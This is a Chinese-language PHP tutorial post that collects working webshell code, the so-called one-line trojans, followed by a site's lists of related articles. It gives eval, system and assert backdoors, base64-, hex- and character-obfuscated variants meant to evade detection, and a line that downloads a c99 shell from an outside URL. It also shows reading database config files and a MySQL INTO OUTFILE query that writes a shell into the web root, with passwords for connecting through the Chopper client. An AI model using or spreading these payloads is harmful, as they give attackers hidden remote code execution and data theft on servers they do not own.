PHP与SQL语句写一句话木马总结


Posted in PHP onOctober 11, 2019

一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来:

<?php @eval($_GET["code"])?>

<?php @system($_POST["cmd"])?>

二、编码的替换的类型:

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>

//会生成<?php @eval($_POST['lostwolf']);?>

 

<script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>

//php在html内部的一种嵌入方式

 

<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>

 

 

<?php

session_start();

$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);

$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>

三、其他类型:

<?php $_GET[a]($_GET[b]);?>

//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

<?php assert($_REQUEST["pass"]);?>   //菜刀连接 躲避检测 密码pass 

<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['pass']);?>

//菜刀提交 http://192.168.1.5/x.php?x=lostwolf 脚本类型:php 密码为 pass

四、下载类型:

<?php echo copy("http://www.r57.me/c99.txt","lostwolf.php"); ?> 

<? echo file_get_contents("..//cfg_database.php");?> //显示某文件

<? eval ( file_get_contents("远程shell")) ?> //运行远程shell

五、无关键函数类型:

<?php

$_="";

$_[+""]='';

$_="$_"."";

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");

?>

<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass

<?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>

六、补充知识点:

SQL写一句话(MySQL):

select "<?php @system($_POST["pass"]);?>" into outfile "/home/webaccount/projectname/www/*.php"

#前面是一句话内容 后面是绝对路径www下的PHP文件,同理其他脚本也可以

以上就是PHP一句话木马小结与SQL语句写一句话木马的详细内容,感谢大家的学习和对三水点靠木的支持。

PHP 相关文章推荐
工厂模式在Zend Framework中应用介绍
Jul 10 PHP
PHP中绘制图像的一些函数总结
Nov 19 PHP
PIGCMS 如何关闭聊天机器人
Feb 12 PHP
PHP查找数值数组中不重复最大和最小的10个数的方法
Apr 20 PHP
PHP实现的增强性mhash函数
May 27 PHP
php如何获取文件的扩展名
Oct 28 PHP
php用正则判断是否为数字的方法
Mar 25 PHP
PHP的PDO常用类库实例分析
Apr 07 PHP
PHP中explode函数和split函数的区别小结
Aug 24 PHP
PHP入门教程之面向对象的特性分析(继承,多态,接口,抽象类,抽象方法等)
Sep 11 PHP
centos 7.2下搭建LNMP环境教程
Nov 20 PHP
PHP实现简单登录界面
Oct 23 PHP
解决在Laravel 中处理OPTIONS请求的问题
Oct 11 #PHP
php生成HTML文件的类方法
Oct 11 #PHP
php报错502badgateway解决方法
Oct 11 #PHP
Laravel timestamps 设置为unix时间戳的方法
Oct 11 #PHP
laravel 时间格式转时间戳的例子
Oct 11 #PHP
PHP调用接口API封装的例子
Oct 11 #PHP
Thinkphp5.0框架使用模型Model的获取器、修改器、软删除数据操作示例
Oct 11 #PHP
You might like
PHP 数据库树的遍历方法
2009/02/06 PHP
php+mysqli数据库连接的两种方式
2015/01/28 PHP
PHP统计当前在线用户数实例讲解
2015/10/21 PHP
Joomla语言翻译类Jtext用法分析
2016/05/05 PHP
PhpStorm2020 + phpstudyV8 +XDebug的教程详解
2020/09/17 PHP
使用TextRange获取输入框中光标的位置的代码
2007/03/08 Javascript
JQuery 技巧和窍门整理(8个)
2010/04/22 Javascript
JS复制内容到剪切板的实例代码(兼容IE与火狐)
2013/11/19 Javascript
Jquery中&quot;$(document).ready(function(){ })&quot;函数的使用详解
2013/12/30 Javascript
JS创建自定义表格具体实现
2014/02/11 Javascript
jquery.gridrotator实现响应式图片展示画廊效果
2015/06/23 Javascript
再次谈论Javascript中的this
2016/06/23 Javascript
AngularJS基础 ng-model 指令详解及示例代码
2016/08/02 Javascript
浅谈Node.js:Buffer模块
2016/12/05 Javascript
JavaScript定义全局对象的方法示例
2017/01/12 Javascript
JS switch判断 三目运算 while 及 属性操作代码
2017/09/03 Javascript
vue组件之Alert的实现代码
2017/10/17 Javascript
vue项目中使用vue-layer弹框插件的方法
2020/03/11 Javascript
js实现页面图片消除效果
2020/03/24 Javascript
原生js实现简单轮播图
2020/10/26 Javascript
解决vue项目运行npm run serve报错的问题
2020/10/26 Javascript
python中关于时间和日期函数的常用计算总结(time和datatime)
2013/03/08 Python
python实现ipsec开权限实例
2014/11/11 Python
从源码解析Python的Flask框架中request对象的用法
2016/06/02 Python
python 不同方式读取文件速度不同的实例
2018/11/09 Python
wxPython绘图模块wxPyPlot实现数据可视化
2019/11/19 Python
html5简介及新增功能介绍
2020/05/18 HTML / CSS
加拿大约会网站:EliteSingles.ca
2018/01/12 全球购物
建材投资建议书
2014/05/16 职场文书
文员转正自我鉴定怎么写
2014/09/29 职场文书
大学辅导员述职报告
2015/01/10 职场文书
小学语文教师年度考核个人总结
2015/02/05 职场文书
2015年房地产销售工作总结
2015/04/20 职场文书
2015年政务公开工作总结
2015/05/19 职场文书
教师反邪教心得体会
2016/01/15 职场文书
如何利用python实现Simhash算法
2022/06/28 Python